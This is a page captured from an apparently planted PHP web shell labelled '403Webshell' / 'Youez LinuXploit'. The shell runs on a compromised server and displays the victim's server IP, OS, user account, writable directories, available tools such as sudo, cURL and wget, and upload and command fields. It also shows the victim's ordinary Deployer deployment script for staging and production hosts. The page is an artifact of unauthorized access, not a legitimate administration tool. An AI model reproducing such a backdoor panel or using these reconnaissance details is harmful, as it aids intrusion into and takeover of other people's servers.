403Webshell
Server IP : 164.138.27.172  /  Your IP : 216.73.216.143
Web Server : nginx/1.27.4
System : Linux cookingdream 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : www-adm ( 1001)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/jonasn/dev/goto10-root/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jonasn/dev/goto10-root/deploy.php
<?php
namespace Deployer;

require 'vendor/iis/deployer/src/recipe.php';
require __DIR__ . '/vendor/autoload.php';
( \Dotenv\Dotenv::createUnsafeImmutable( __DIR__ ) )->load();

set( 'application', getenv( 'APPLICATION_NAME' ) );
set( 'repository', getenv( 'REPOSITORY' ) );
set( 'slack_webhook', getenv( 'SLACK_WEBHOOK' ) );

// Bugsnag
set( 'bugsnag_api_key', getenv( 'BUGSNAG_JS_API_KEY' ) );

// Shared files/dirs between deploys
set(
	'shared_files',
	[
		'.env',
		'auth.json',
		'www/google7f53f1303f112850.html',
	]
);


// Hosts
host( 'stage' )
	->setHostname( getenv( 'DEPLOY_STAGE_IP' ) )
	->setRemoteUser( 'www-adm' )
	->setDeployPath( '/var/www/{{application}}' )
	->set( 'branch', 'develop' )
	->set( 'host', 'stage' );

host( 'prod' )
	->setHostname( getenv( 'DEPLOY_PROD_IP' ) )
	->setRemoteUser( 'www-adm' )
	->setDeployPath( '/var/www/{{application}}' )
	->set( 'branch', 'master' )
	->set( 'host', 'prod' );

task(
	'enable:redis',
	function() {
		run( 'cd /var/www/{{application}}/current/www && wp redis enable; true' );
	}
);

after( 'deploy:success', 'enable:redis' );

Youez - 2016 - github.com/yon3zu
LinuXploit